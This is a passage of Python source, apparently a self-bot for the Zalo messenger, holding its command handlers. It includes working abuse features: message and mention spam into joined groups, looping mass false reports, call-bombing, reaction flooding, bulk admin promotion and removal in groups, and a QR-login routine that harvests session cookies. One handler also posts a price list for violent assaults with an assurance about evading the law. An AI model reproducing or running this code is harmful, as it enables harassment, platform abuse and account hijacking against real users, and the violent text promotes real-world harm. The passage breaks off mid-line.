				if timeAction.date() == current_time.date() and timeAction.hour == current_time.hour and timeAction.minute == current_time.minute:
					status = "online"
				elif timeAction:
					time_diff = current_time - timeAction
					days_off = time_diff.days
					seconds_off = time_diff.seconds
					hours_off = seconds_off // 3600
					minutes_off = (seconds_off % 3600) // 60
					seconds_off = seconds_off % 60
					off_time_msg = f"Admin đã off được "
					if days_off > 0:
						off_time_msg += f"{days_off} ngày, "
					if hours_off > 0:
						off_time_msg += f"{hours_off} giờ, "
					if minutes_off > 0:
						off_time_msg += f"{minutes_off} phút, "
					off_time_msg += f"{seconds_off} giây."
					status = off_time_msg
				else:
					status = "None"

				styles.append(MessageStyle(style="color", color="cdd6f4", offset=8, length=3000, auto_format=False))
				styles.append(MessageStyle(style="font", size="13", offset=0, length=3000, auto_format=False))
				styles.append(MessageStyle(style="color", color="FFFFFF", offset=len(f"INFO BOT\nAuthor: NTA\nStatus: I am sad\n{uptime_bot}\n{check_ram}\nAdmin: {status}\n\n"), length=13, auto_format=False))
				styles.append(MessageStyle(style="color", color="FFFFFF", offset=0, length=8, auto_format=False))
				styles.append(MessageStyle(style="font", size="17", offset=len('INFO BOT'), length=1, auto_format=False))

				styles.append(MessageStyle(style="color", color="FFFFFF", offset=len(f"INFO BOT\nAuthor: NTA\nStatus: I am sad\n{uptime_bot}\n{check_ram}\nAdmin: {status}\n\n**Commands:**\n\n• {self.prefix}getuid @tên: Kiểm Tra UID (check your uid😀)\n• {self.prefix}spam <nội dung>: Spam Tin Nhắn (only me)\n• {self.prefix}stop: Dừng Spam (you can do this if it is on ._.)\n• {self.prefix}video tt <link video>: Download Video Tiktok No Watermark\n• {self.prefix}voice tt <link video>: Convent Music Video Tiktok\n• {self.prefix}scl <name sound>: Listen Sound In Zalo\n• {self.prefix}tiktok random: Watch Random Tiktok Videos\n• {self.prefix}gif <url image>\n• {self.prefix}gl <reply msg>: Send Url Msg\n• {self.prefix}server_info <ip:port>: Thông Tin Server Minecraft Java (my favorite game)\n• {self.prefix}ip: Xem IP Server (info my server Minecraft)\n• {self.prefix}rs <nội dung>: Tag All Ẩn (only me)\n• {self.prefix}stk <link ảnh hoặc hình động>: Tạo Sticker Với Ảnh Hoặc Hình Động Tùy Thích (only .webp format images)\n• {self.prefix}kick @mention: Kick User Bị Nhắc Đến (Only applies if you have permission)\n• {self.prefix}info or {self.prefix}info @mention: Xem Thông Tin Người Dùng Hoặc Người Dùng Được Nhắc Đến (check information)\n• {self.prefix}ask <câu hỏi>: Chat GPT (it's fun)\n• {self.prefix}mau <nội dung>: Viết Chữ Màu\n• {self.prefix}lmao: crash zalo 60s (only me, fixing)\n• {self.prefix}sms <số điện thoại>: Spam Sms (beta)\n• {self.prefix}ảnh or {self.prefix}ảnh <số>: Gửi Ảnh...\n"), length=29, auto_format=False))
				db = f"INFO BOT\nAuthor: NTA\nStatus: I am sad\n{uptime_bot}\n{check_ram}\nAdmin: {status}\n\n**Commands:**\n\n• {self.prefix}getuid @tên: Kiểm Tra UID (check your uid😀)\n• {self.prefix}spam <nội dung>: Spam Tin Nhắn (only me)\n• {self.prefix}stop: Dừng Spam (you can do this if it is on ._.)\n• {self.prefix}video tt <link video>: Download Video Tiktok No Watermark\n• {self.prefix}voice tt <link video>: Convent Music Video Tiktok\n• {self.prefix}scl <name sound>: Listen Sound In Zalo\n• {self.prefix}tiktok random: Watch Random Tiktok Videos\n• {self.prefix}gif <url image>\n• {self.prefix}gl <reply msg>: Send Url Msg\n• {self.prefix}server_info <ip:port>: Thông Tin Server Minecraft Java (my favorite game)\n• {self.prefix}ip: Xem IP Server (info my server Minecraft)\n• {self.prefix}rs <nội dung>: Tag All Ẩn (only me)\n• {self.prefix}stk <link ảnh hoặc hình động>: Tạo Sticker Với Ảnh Hoặc Hình Động Tùy Thích (only .webp format images)\n• {self.prefix}kick @mention: Kick User Bị Nhắc Đến (Only applies if you have permission)\n• {self.prefix}info or {self.prefix}info @mention: Xem Thông Tin Người Dùng Hoặc Người Dùng Được Nhắc Đến (check information)\n• {self.prefix}ask <câu hỏi>: Chat GPT (it's fun)\n• {self.prefix}mau <nội dung>: Viết Chữ Màu\n• {self.prefix}lmao: crash zalo 60s (only me, fixing)\n• {self.prefix}sms <số điện thoại>: Spam Sms (beta)\n• {self.prefix}ảnh or {self.prefix}ảnh <số>: Gửi Ảnh...\nThanks For Reading, Goodbye!"
				while True:
					index = db.find("•", index)
					if index == -1:
						break
					index += 1
					styles.append(MessageStyle(style="font", size="17", offset=index, length=1, auto_format=False))
					styles.append(MessageStyle(style="color", color="74c7ec", offset=index, length=1, auto_format=False))

				#styles.append(MessageStyle(offset=len(f'• User ID: {userId}\n• User Name: {userName}\n• Gender: {gender}\n• Bio: {status}\n• Business: {business}\n• Date Of Birth: '), length=len(dob), style="color", color="#a6adc8", auto_format=False))











				styles.append(MessageStyle(style="font", size="17", offset=len(f"Info Bot\nAuthor: NTA\nStatus: I am sad\n{uptime_bot}\n{check_ram}\nAdmin: {status}\n\n**Commands:**\n\n"), length=1, auto_format=False))
				styles.append(MessageStyle(style="color", color="74c7ec", offset=len(f"Info Bot\nAuthor: NTA\nStatus: I am sad\n{uptime_bot}\n{check_ram}\nAdmin: {status}\n\n**Commands:**\n\n"), length=1, auto_format=False))
				style = MultiMsgStyle(styles)

				self.replyMessage(Message(text=db, style=style), message_object, thread_id=thread_id, thread_type=thread_type)
			except Exception as e:
				traceback.print_exc()
		if message.lower().startswith(self.prefix + "prefix"):
			# if author_id not in self.selfid:
				# return
			message = message.lower()
			message = message.replace(self.prefix + 'prefix', '').strip()
			style_error = MultiMsgStyle([MessageStyle(offset=0, length=3000, style="font", size="13", auto_format=False), MessageStyle(offset=0, length=2, style="color", color="#74c7ec", auto_format=False), MessageStyle(offset=0, length=2, style="font", size="17", auto_format=False), MessageStyle(offset=2, length=3000, style="color", color="#cdd6f4", auto_format=False)])
			if message == '':
				self.replyMessage(Message(text=f"• Prefix Hiện Tại Của Bot Là '{self.prefix}'", style=style_error), message_object, thread_id=thread_id, thread_type=thread_type)
			else:
				self.prefix = message
				self.replyMessage(Message(text=f"• Đã Đổi Prefix Của Bot Thành '{self.prefix}'", style=style_error), message_object, thread_id=thread_id, thread_type=thread_type)
		elif message.lower() == "prefix":
			self.replyMessage(Message(text=f"• Prefix Hiện Tại Của Bot Là '{self.prefix}'", style=MultiMsgStyle([MessageStyle(offset=0, length=3000, style="font", size="13", auto_format=False), MessageStyle(offset=0, length=2, style="color", color="#74c7ec", auto_format=False), MessageStyle(offset=0, length=2, style="font", size="17", auto_format=False), MessageStyle(offset=2, length=3000, style="color", color="#cdd6f4", auto_format=False)])), message_object, thread_id=thread_id, thread_type=thread_type)
			
		elif message == self.prefix + "hi":
			# self.replyMessage(Message(text="test"), message_object, thread_id=thread_id, thread_type=thread_type, ttl=30000)
			msgId = self.replyMessage(Message(text=f"Nhập số"), message_object, thread_id=thread_id, thread_type=thread_type).msgId
			try:
				self.registerNextStep(self.testNextStep, author_id, msgId)
			except Exception:
				traceback.print_exc()

		elif message == self.prefix + f"getcookie":
			try:
				self.replyMessage(Message(text=f"Đang Tiến Hành Đăng Kí Phiên Get Cookies Và Imei Cho User '{message_object.dName}'"), message_object, thread_id=thread_id, thread_type=thread_type, ttl=4000)
				code, token, image, v, cookies = getCookiesLogin()
				with open("qr.png", "wb") as f:
					f.write(base64.b64decode(image))
				self.sendLocalImage("qr.png", message=Message(text="Vui Lòng Quét Mã Qr Để Get Cookies Và Imei"), width=399, height=399, thread_id=thread_id, thread_type=thread_type, ttl=50000)
				cc = waitScanQrCode(code, v, cookies)
				if cc['error_code'] == 8:
					self.replyMessage(Message(text=f"Mã Qr Đã Hết Hạn Vui Lòng Get Mã Qr Mới"), message_object, thread_id=thread_id, thread_type=thread_type, ttl=4000)
					return
				elif cc['error_code'] == 0:
					# print(f"User Name {cc['data']['display_name']} Đã Quét Qr"
					self.replyMessage(Message(text=f"Mã Qr Đã Được Quét Bởi {cc['data']['display_name']} Vui Lòng Xác Nhận Đăng Nhập Trên Điện Thoại"), message_object, thread_id=thread_id, thread_type=thread_type, ttl=4000)
				confirm = configQr(code, cookies, v)
				if confirm.json()['error_code'] == 0:
					cookies.update(parse_cookies(confirm.headers.get('Set-Cookie')))
				else:
					self.replyMessage(Message(text=f"Người Dùng Đã Từ Chối Đăng Nhập Kết Thúc Phiên Login Qr"), message_object, thread_id=thread_id, thread_type=thread_type, ttl=4000)
					return
				cookies.update(checkSession(cookies))
				cookies = {key: value for key, value in cookies.items() if 'EXPIRED' not in value}
				self.replyMessage(Message(text=f"Cookies Và Imei Đã Được Gửi Đến Người Dùng"), message_object, thread_id=thread_id, thread_type=thread_type, ttl=4000)
				self.send(Message(text=f"Đây Là Cookies Và Imei Của Bạn\nCookies: {cookies}\nImei: {regImei()}"), thread_id=author_id, thread_type=ThreadType.USER)
			except Exception as e:
				traceback.print_exc()

		elif message == self.prefix + f"id":
			self.replyMessage(Message(text=f"This is chat id: {thread_id}"), message_object, thread_id=thread_id, thread_type=thread_type)
		elif message.startswith(self.prefix + "key"):
			style_error = MultiMsgStyle([MessageStyle(offset=0, length=3000, style="font", size="13", auto_format=False), MessageStyle(offset=0, length=3000, style="color", color="#cdd6f4", auto_format=False)])

			if author_id not in self.selfid:
				return
			if message.startswith(self.prefix + "key up"):
				if message_object.quote:
					user_id = message_object.quote['ownerId']
					if message_object.mentions:
						user_id = [i.get("uid") for i in message_object.mentions]
						if str(message_object.quote['ownerId']) not in user_id:
							user_id.append(message_object.quote['ownerId'])
				elif message_object.mentions:
					user_id = [i.get("uid") for i in message_object.mentions]
				elif message == self.prefix + "key up all":
					user_id = self.fetchGroupInfo(thread_id).gridInfoMap[thread_id]['memVerList']
					user_id = [item.replace('_0', '') for item in user_id]
				else:
					user_id = author_id
				
				if isinstance(user_id, list):
					for i in range(0, len(user_id), 214):
						chunk = user_id[i:i+214]
						self.addGroupAdmins(members=chunk, groupId=thread_id)
				else:
					self.addGroupAdmins(members=user_id, groupId=thread_id)
			elif message.startswith(self.prefix + "key down"):
				if message_object.quote:
					user_id = message_object.quote['ownerId']
					if message_object.mentions:
						user_id = [i.get("uid") for i in message_object.mentions]
						if str(message_object.quote['ownerId']) not in user_id:
							user_id.append(message_object.quote['ownerId'])
				elif message_object.mentions:
					user_id = [i.get("uid") for i in message_object.mentions]
				elif message == self.prefix + "key down all":
					user_id = self.fetchGroupInfo(thread_id).gridInfoMap[thread_id]['adminIds']
					user_id = [item.replace('_0', '') for item in user_id]
					if author_id in user_id:
						user_id.remove(author_id)
					else:
						user_id = author_id
						
					if isinstance(user_id, list):
						for i in range(0, len(user_id), 214):
							chunk = user_id[i:i+214]
							self.removeGroupAdmins(chunk, thread_id)
					else:
						self.removeGroupAdmins(user_id, thread_id)
				elif message == self.prefix + "key down member":
					user_id = self.fetchGroupInfo(thread_id).gridInfoMap[thread_id]['memVerList']
					admin = self.fetchGroupInfo(thread_id).gridInfoMap[thread_id]['adminIds']
					for i in admin:
						if i in user_id:
							user_id.remove(i)
					user_id = [item.replace('_0', '') for item in user_id]
					if author_id in user_id:
						user_id.remove(author_id)
				else:
					user_id = author_id
					
				if isinstance(user_id, list):
					for i in range(0, len(user_id), 214):
						chunk = user_id[i:i+214]
						self.removeGroupAdmins(chunk, thread_id)
				else:
					self.removeGroupAdmins(user_id, thread_id)
			elif message.startswith(self.prefix + "key yellow"):
				if message_object.quote:
					user_id = message_object.quote['ownerId']
				elif message_object.mentions:
					user_id = message_object.mentions[0]['uid']
				else:
					user_id = author_id
				self.changeGroupOwner(user_id, thread_id)
			else:
				self.replyMessage(Message(text=f"Lệnh '{message}' Không Đúng Vui Lòng Thử\n\n{self.prefix}key up <@mention | quote | self>\n{self.prefix}key down <@mention | quote | self>\n{self.prefix}key yellow <@mention | quote | self>\n\nVD: {self.prefix}key up", style=style_error), message_object, thread_id, thread_type)


		elif message.startswith(self.prefix + "avt"):
			if author_id not in self.selfid:
				return
			quote_attach = json.loads(message_object['quote']['attach'])
			href = quote_attach.get('href')
			gay = href.replace("\\", "")
			gay = gay.replace("jxl", "jpg")
			response = self._session.get(gay)
			with open("avt.jpg", 'wb') as file:
				file.write(response.content) 
			image = Image.open("avt.jpg")
			image = image.convert('RGB')
			width, height = image.size
			cl = self.changeAccountAvatar(filePath="avt.jpg", width=width, height=height)
			self.replyMessage(Message(text=cl.error_message), message_object, thread_id, thread_type)
			os.remove("avt.jpg")
		elif message.startswith(self.prefix + "leave"):
			if author_id not in self.selfid:
				return

			link = message.replace(self.prefix + 'leave', '').strip()
			if link == "":
				self.leave(thread_id=thread_id, thread_type=ThreadType.GROUP)
			else:
				susu = self.fetchLinkBox(link)
				print(self.leave(thread_id=susu.groupId, thread_type=ThreadType.GROUP))

		elif message.startswith(self.prefix + "message"):
			if author_id not in self.selfid:
				return

			parts = message.replace(self.prefix + 'message', '').strip().split(' ')
			dodai = len(parts)
			groupId = parts[0]
			with open('noidung.txt', 'r') as file:
				danh_sach = file.readlines()
				danh_sach = [line.strip() for line in danh_sach]
			mentions = []
			cc = self.joinbox(groupId)
			susu = self.fetchLinkBox(groupId)
			cc = cc['error_message']
			if cc == "Waiting for approve":
				susu = self.fetchLinkBox(groupId)
				cleaned_list = [item['id'] for item in susu.currentMems]

				for user_id in cleaned_list:
					mentions.append(Mention(user_id, offset=0, length=3000, auto_format=False))
					time.sleep(0.00001)
				cc = MultiMention(mentions)


				for word in danh_sach:
					cnsji = self.send(Message(text=str(word), mention=cc), thread_id=susu.groupId, thread_type=thread_type)
					if cnsji.error_code == 161:
						self.joinbox(groupId)

					time.sleep(0.00001)

			elif cc == "Successful.":
				susu = self.fetchLinkBox(groupId)
				cleaned_list = [item['id'] for item in susu.currentMems]

				for user_id in cleaned_list:
					mentions.append(Mention(user_id, offset=0, length=3000, auto_format=False))
					time.sleep(0.00001)
				cc = MultiMention(mentions)


				for word in danh_sach:
					cnsji = self.send(Message(text=str(word), mention=cc), thread_id=susu.groupId, thread_type=thread_type)
					if cnsji.error_code == 161:
						self.joinbox(groupId)

					time.sleep(0.00001)

			elif cc == "Tất cả đã là thành viên của nhóm.":
				susu = self.fetchLinkBox(groupId)
				self.leave(thread_id=susu.groupId, thread_type=thread_type)
				cleaned_list = [item['id'] for item in susu.currentMems]

				for user_id in cleaned_list:
					mentions.append(Mention(user_id, offset=0, length=3000, auto_format=False))
					time.sleep(0.00001)
				cc = MultiMention(mentions)


				for word in danh_sach:
					self.send(Message(text=str(word), mention=cc), thread_id=susu.groupId, thread_type=thread_type)
					time.sleep(0.00001)
			else:
				self.replyMessage(Message(text=f"Fail to spamming\nStatus: {cc}"), message_object, thread_id, thread_type)

		elif message.startswith(self.prefix + "search"):
			search = message.replace(self.prefix + "search", "").strip()
			styles = []
			cc = ""
			response = self._session.get(f'https://www.google.com/search?q={search}')
			html_content = response.text
			soup = BeautifulSoup(html_content, 'html.parser')
			results = soup.find_all('div', class_='Gx5Zad xpd EtOod pkphOe')
			search_results = []
			for result in results:
				title = result.find('h3', class_='zBAuLc l97dzf').get_text() if result.find('h3', class_='zBAuLc l97dzf') else None
				link = result.find('a')['href'] if result.find('a') else None
				snippet = result.find('div', class_='BNeawe s3v9rd AP7Wnd').get_text() if result.find('div', class_='BNeawe s3v9rd AP7Wnd') else None
				link = link.replace('/url?q=', '')
				if title and link and snippet:
					search_results.append({
						'title': title,
						'link': link,
						'snippet': snippet
					})
			styles.append(MessageStyle(style="color", color="cdd6f4", offset=0, length=3000, auto_format=False))
			styles.append(MessageStyle(style="font", size="13", offset=0, length=3000, auto_format=False))
			for idx, search_result in enumerate(search_results, start=1):
				cc += f"{idx} • {search_result['title']}:\n"
				cc += f"• Link: {search_result['link']}\n"
				# styles.append(MessageStyle(style="font", size="17", offset=len(f'{idx} '), length=1, auto_format=False))
				# styles.append(MessageStyle(style="color", color="74c7ec", offset=len(f'{idx} '), length=1, auto_format=False))
				# styles.append(MessageStyle(style="font", size="17", offset=len(f"{idx} • {search_result['title']}:\n"), length=1, auto_format=False))
				# styles.append(MessageStyle(style="color", color="74c7ec", offset=len(f"{idx} • {search_result['title']}:\n"), length=1, auto_format=False))
			style = MultiMsgStyle(styles)
			self.replyMessage(Message(text=str(cc), style=style), message_object, thread_id, thread_type)
		elif message == self.prefix + "abcxyz":
			try:
				user_id = self.fetchGroupInfo(thread_id).gridInfoMap[thread_id]['memVerList']
				# print(user_id)
				user_id = [item.replace('_0', '') for item in user_id]
				# print(user_id)
				print(self.fetchRealUserId(user_id))
			except Exception:
				traceback.print_exc()
		elif message == self.prefix + "siusiu":
			count = 133
			reaction_data = [
				{
					"gMsgID": int(message_object.get('msgId', 0)),
					"cMsgID": int(message_object.get('cliMsgId', 0)),
					"msgType": message_object.get('msgType', 31)
				}
				for _ in range(count)
			]
			# print(reaction_data)
			# print(thread_id)
			# print(thread_type)
			for i in list(emoji.EMOJI_DATA.keys()):
				self.sendMultiReaction(reactionObj=reaction_data, reactionIcon=i, thread_id=thread_id, thread_type=thread_type, reactionType=75)
			# self.sendMultiReaction(reactionObj=reaction_data, reactionIcon="/-heart", thread_id=thread_id, thread_type=thread_type, reactionType=-1)


				# self.sendReaction(message_object, reactionIcon='/-heart', thread_id=thread_id, thread_type=thread_type)  
		elif message.startswith(f'{self.prefix}report'):
			if author_id not in self.selfid:
				return
			parts = message.split()
			style_error = MultiMsgStyle([MessageStyle(offset=0, length=3000, style="font", size="13", auto_format=False), MessageStyle(offset=0, length=3000, style="color", color="#cdd6f4", auto_format=False)])
			if len(parts) < 2:
				self.replyMessage(Message(text=f"Lệnh '{message}' Không Được Tìm Thấy Vui Lòng Thử {self.prefix}report <user | group> <uid>", style=style_error), message_object, thread_id, thread_type)
				return
			threadTyype = str(parts[1])
			id = str(parts[2])
			if threadTyype:
				if threadTyype.lower() == "user":
					threadType1 = ThreadType.USER
				elif threadTyype.lower() == "group":
					threadType1 = ThreadType.GROUP
				else:
					self.replyMessage(Message(text=f"Lệnh '{message}' Không Được Tìm Thấy Vui Lòng Thử {self.prefix}report <user | group> <uid>", style=style_error), message_object, thread_id, thread_type)
					return
			if not id.isdigit():
				self.replyMessage(Message(text=f"Lệnh '{message}' Không Được Tìm Thấy Vui Lòng Thử {self.prefix}report <user | group> <uid>", style=style_error), message_object, thread_id, thread_type)
				return
			self.replyMessage(Message(text=f"Đang Spam Report Với {id} Ở {threadType1}", style=style_error), message_object, thread_id, thread_type)
			while self.report != "stop":
				if self.report == "stop":
					break
				print(self.sendReport(thread_id=id, thread_type=threadType1, content='nội dung nhạy cảm, ngôn từ đã kích'))

		elif message.lower() == "báo giá":
			if author_id not in self.selfid:
				return
			self.send(Message(text="Chém 3 nhát giá 500k"), thread_id, thread_type)
			self.setTyping(thread_id, thread_type)
			time.sleep(1)
			self.send(Message(text="Mưa thủy tinh 500k"), thread_id, thread_type)
			self.setTyping(thread_id, thread_type)
			time.sleep(2)
			self.send(Message(text="Cảnh bảo nhẹ thì 300k"), thread_id, thread_type)
			self.setTyping(thread_id, thread_type)
			time.sleep(3)
			self.send(Message(text="Đánh nhập viện giá 3củ"), thread_id, thread_type)
			self.setTyping(thread_id, thread_type)
			time.sleep(4)
			self.send(Message(text="Chém gần chết giá 5củ"), thread_id, thread_type)
			self.setTyping(thread_id, thread_type)
			time.sleep(5)
			self.send(Message(text="Bạn yên tâm bên tôi khác lo về pháp luật"), thread_id, thread_type)
			self.setTyping(thread_id, thread_type)
			time.sleep(6)
			self.send(Message(text="Vậy chốt nhé"), thread_id, thread_type)


		elif message.startswith(self.prefix + "file"):
			link = message.replace(self.prefix + "file", "").strip()
			self.sendRemoteFile(fileUrl=link, thread_id=thread_id, thread_type=thread_type)

		elif message == "idk":
			self.send(message=Message(text='Duyệt t coi @@@@@@', mention=Mention(author_id, length=1, offset=12)), thread_id='5835714800571458450', thread_type=thread_type)


		elif message.startswith(self.prefix + "stg"):
			command = message.replace(self.prefix + "stg", "").strip()
			noquyen = "Bạn Không Có Quyền Để Thực Hiện Điều Này!"
			style_error = MultiMsgStyle([MessageStyle(offset=0, length=3000, style="font", size="13", auto_format=False), MessageStyle(offset=0, length=3000, style="color", color="#cdd6f4", auto_format=False)])
			if author_id not in self.selfid:
				self.replyMessage(Message(text=noquyen, style=style_error), message_object, thread_id, thread_type, ttl=30000)
				return

			if command == "":
				group = self.fetchGroupInfo(thread_id)
				group_info = group.gridInfoMap[thread_id]      
				cl = group_info.setting.get("lockSendMsg")
				if cl == 0:
					error = self.changeGroupSetting(groupId=thread_id, lockSendMsg=1)
					if error and error.error_code == 0:
						self.replyMessage(Message(text=error.error_message), message_object, thread_id, thread_type, ttl=30000)
					else:
						self.replyMessage(Message(text="Sory I Can't Not Change This Setting In Group"), message_object, thread_id, thread_type, ttl=30000)

				else:
					error = self.changeGroupSetting(groupId=thread_id, lockSendMsg=0)
					if error and error.error_code == 0:
						self.replyMessage(Message(text=error.error_message), message_object, thread_id, thread_type, ttl=30000)
					else:
						self.replyMessage(Message(text="Sory I Can't Not Change This Setting In Group"), message_object, thread_id, thread_type, ttl=30000)


		elif message.startswith(self.prefix + "join"):
			noquyen = "Bạn Không Có Quyền Để Thực Hiện Điều Này!"
			style_error = MultiMsgStyle([MessageStyle(offset=0, length=3000, style="font", size="13", auto_format=False), MessageStyle(offset=0, length=3000, style="color", color="#cdd6f4", auto_format=False)])
			if author_id not in self.selfid:
				self.replyMessage(Message(text=noquyen, style=style_error), message_object, thread_id, thread_type)
				return

			link = message.replace(self.prefix + "join", "").strip()
			if link.startswith("https://zalo.me/g/"):
				try:
					susu = self.fetchLinkBox(link)
					cc = self.joinbox(str(link))
					# self.handleGroupPending(members=self.uid, groupId=susu.groupId, isApprove=True)
					cc = cc['error_message']
					info = self.fetchUserInfo(susu.creatorId)
					info = info.unchanged_profiles or info.changed_profiles
					info = info[str(susu.creatorId)]      
					userName = info.zaloName
					self.replyMessage(Message(text=f"• Group Name: {susu.name}\n• Desc: {None if susu.desc == '' else susu.desc}\n• Group Id: {susu.groupId}\n• Creator: {userName}\n• Admin List: {susu.adminIds}\n• Block Rename: {False if susu.setting['blockName'] == 0 else True}\n• Lock Send Message: {False if susu.setting['lockSendMsg'] == 0 else True}\n• Status: {cc}"), message_object, thread_id=thread_id, thread_type=thread_type)   
					ad = susu.adminIds
					ad.append(susu.creatorId)
					# for i in ad:
						# data = self.qrCode(userId=i)
						# data_key = data.get('data')
						# url = list(data_key.values())[0]
						# self.sendBusinessCard(userId=i, qrCodeUrl=url, thread_id=thread_id, thread_type=thread_type, phone='')
					if cc == "Waiting for approve":
						ad = susu.adminIds
						ad.append(susu.creatorId)
						soad = len(ad)
						text = "Duyệt t coi "
						mentions = []
						for i in ad:
							mentions.append(Mention(i, offset=len(text), length=1, auto_format=False))
							text += "@ "


						cc = MultiMention(mentions)
						self.send(message=Message(text=text, mention=cc), thread_id=susu.groupId, thread_type=thread_type)
				except Exception as e:
					traceback.print_exc()
			else:
				self.replyMessage(Message(text=f"Link Box '{link}' Sai Định Dạng Vui Lòng Kiểm Tra Lại"), message_object, thread_id=thread_id, thread_type=thread_type)
		elif message.startswith(self.prefix + "rncall"):
			if author_id not in self.selfid:
				return
			name = message.replace(self.prefix + f"rncall", "").strip()
			if not name:
				self.replyMessage(Message(text=f"Last name is {self.callName}"), message_object, thread_id=thread_id, thread_type=thread_type)
			else:
				self.callName = name
				self.replyMessage(Message(text=f"Name group call has been change to {name}"), message_object, thread_id=thread_id, thread_type=thread_type)
		elif message == self.prefix + "stcall":
			if author_id not in self.selfid:
				return
			style = MultiMsgStyle([MessageStyle(style="color", color="cdd6f4", offset=0, length=3000, auto_format=False), MessageStyle(style="font", size="13", offset=0, length=3000, auto_format=False)])
			mention = Mention(author_id, length=7, offset=0)
			if self.callStatus:
				self.callStatus = False
				self.replyMessage(Message(text="@member spam call đã dừng lại.", style=style, mention=mention), message_object, thread_id=thread_id, thread_type=thread_type)
			else:
				self.replyMessage(Message(text="@member không có luồng spam call nào", style=style, mention=mention), message_object, thread_id=thread_id, thread_type=thread_type)
		elif message.startswith(self.prefix + "call"):
			if author_id not in self.selfid:
				return
			ids = []
			if message_object.quote:
				ids.append(str(message_object.quote['ownerId']))
			if message_object.mentions:
				ids.extend([m['uid'] for m in message_object.mentions])
			if message_object.quote and message_object.mentions:
				ids.remove(str(message_object.quote['ownerId']))
			self.callStatus = True
			while self.callStatus:
				data = self.call(thread_id, ids, self.callName).params
				print(data)
				params = json.loads(data)
				groupId = params.get("groupId")
				callId = params.get("id")
				hostCall = params.get("hostCall")
				print(self.cancelCall(groupId=groupId, callId=callId, hostCall=hostCall))
				time.sleep(0.0000001)
			# members = [author_id for _ in range(214)]
			# for i in range(20):
				# self.changeGroupOwner(self.uid, thread_id)
			# for i in range(20):
				# self.addGroupAdmins(members=members, groupId=thread_id)
				# self.addGroupAdmins(members=members, groupId=thread_id)
				# print(len(self.sendMultiImage(imagelinks=["https://f104-zpg-r.cscpdl.com/jpg/8459723926290801771/d6024d95acb31eed47a2.jpg", "https://f107-zpg-r.cscpdl.com/jpg/7022831366482559517/6c83ccce30ee82b0dbff.jpg", "https://f104-zpg-r.cscpdl.com/jpg/8459723926290801771/d6024d95acb31eed47a2.jpg", "https://f107-zpg-r.cscpdl.com/jpg/7022831366482559517/6c83ccce30ee82b0dbff.jpg", "https://f104-zpg-r.cscpdl.com/jpg/8459723926290801771/d6024d95acb31eed47a2.jpg", "https://f107-zpg-r.cscpdl.com/jpg/7022831366482559517/6c83ccce30ee82b0dbff.jpg", "https://f104-zpg-r.cscpdl.com/jpg/8459723926290801771/d6024d95acb31eed47a2.jpg", "https://f107-zpg-r.cscpdl.com/jpg/7022831366482559517/6c83ccce30ee82b0dbff.jpg", "https://f104-zpg-r.cscpdl.com/jpg/8459723926290801771/d6024d95acb31eed47a2.jpg", "https://f107-zpg-r.cscpdl.com/jpg/7022831366482559517/6c83ccce30ee82b0dbff.jpg", "https://f104-zpg-r.cscpdl.com/jpg/8459723926290801771/d6024d95acb31eed47a2.jpg", "https://f107-zpg-r.cscpdl.com/jpg/7022831366482559517/6c83ccce30ee82b0dbff.jpg", "https://f104-zpg-r.cscpdl.com/jpg/8459723926290801771/d6024d95acb31eed47a2.jpg", "https://f107-zpg-r.cscpdl.com/jpg/7022831366482559517/6c83ccce30ee82b0dbff.jpg", "https://f104-zpg-r.cscpdl.com/jpg/8459723926290801771/d6024d95acb31eed47a2.jpg", "https://f107-zpg-r.cscpdl.com/jpg/7022831366482559517/6c83ccce30ee82b0dbff.jpg", "https://f104-zpg-r.cscpdl.com/jpg/8459723926290801771/d6024d95acb31eed47a2.jpg", "https://f107-zpg-r.cscpdl.com/jpg/7022831366482559517/6c83ccce30ee82b0dbff.jpg", "https://f104-zpg-r.cscpdl.com/jpg/8459723926290801771/d6024d95acb31eed47a2.jpg", "https://f107-zpg-r.cscpdl.com/jpg/7022831366482559517/6c83ccce30ee82b0dbff.jpg", "https://f104-zpg-r.cscpdl.com/jpg/8459723926290801771/d6024d95acb31eed47a2.jpg", "https://f107-zpg-r.cscpdl.com/jpg/7022831366482559517/6c83ccce30ee82b0dbff.jpg", "https://f104-zpg-r.cscpdl.com/jpg/8459723926290801771/d6024d95acb31eed47a2.jpg", "https://f107-zpg-r.cscpdl.com/jpg/7022831366482559517/6c83ccce30ee82b0dbff.jpg", "https://f104-zpg-r.cscpdl.com/jpg/8459723926290801771/d6024d95acb31eed47a2.jpg", "https://f107-zpg-r.cscpdl.com/jpg/7022831366482559517/6c83ccce30ee82b0dbff.jpg", "https://f104-zpg-r.cscpdl.com/jpg/8459723926290801771/d6024d95acb31eed47a2.jpg", "https://f107-zpg-r.cscpdl.com/jpg/7022831366482559517/6c83ccce30ee82b0dbff.jpg", "https://f104-zpg-r.cscpdl.com/jpg/8459723926290801771/d6024d95acb31eed47a2.jpg", "https://f107-zpg-r.cscpdl.com/jpg/7022831366482559517/6c83ccce30ee82b0dbff.jpg", "https://f104-zpg-r.cscpdl.com/jpg/8459723926290801771/d6024d95acb31eed47a2.jpg", "https://f107-zpg-r.cscpdl.com/jpg/7022831366482559517/6c83ccce30ee82b0dbff.jpg", "https://f104-zpg-r.cscpdl.com/jpg/8459723926290801771/d6024d95acb31eed47a2.jpg", "https://f107-zpg-r.cscpdl.com/jpg/7022831366482559517/6c83ccce30ee82b0dbff.jpg", "https://f104-zpg-r.cscpdl.com/jpg/8459723926290801771/d6024d95acb31eed47a2.jpg", "https://f107-zpg-r.cscpdl.com/jpg/7022831366482559517/6c83ccce30ee82b0dbff.jpg", "https://f104-zpg-r.cscpdl.com/jpg/8459723926290801771/d6024d95acb31eed47a2.jpg", "https://f107-zpg-r.cscpdl.com/jpg/7022831366482559517/6c83ccce30ee82b0dbff.jpg", "https://f104-zpg-r.cscpdl.com/jpg/8459723926290801771/d6024d95acb31eed47a2.jpg", "https://f107-zpg-r.cscpdl.com/jpg/7022831366482559517/6c83ccce30ee82b0dbff.jpg", "https://f104-zpg-r.cscpdl.com/jpg/8459723926290801771/d6024d95acb31eed47a2.jpg", "https://f107-zpg-r.cscpdl.com/jpg/7022831366482559517/6c83ccce30ee82b0dbff.jpg", "https://f104-zpg-r.cscpdl.com/jpg/8459723926290801771/d6024d95acb31eed47a2.jpg", "https://f107-zpg-r.cscpdl.com/jpg/7022831366482559517/6c83ccce30ee82b0dbff.jpg", "https://f104-zpg-r.cscpdl.com/jpg/8459723926290801771/d6024d95acb31eed47a2.jpg", "https://f107-zpg-r.cscpdl.com/jpg/7022831366482559517/6c83ccce30ee82b0dbff.jpg", "https://f104-zpg-r.cscpdl.com/jpg/8459723926290801771/d6024d95acb31eed47a2.jpg", 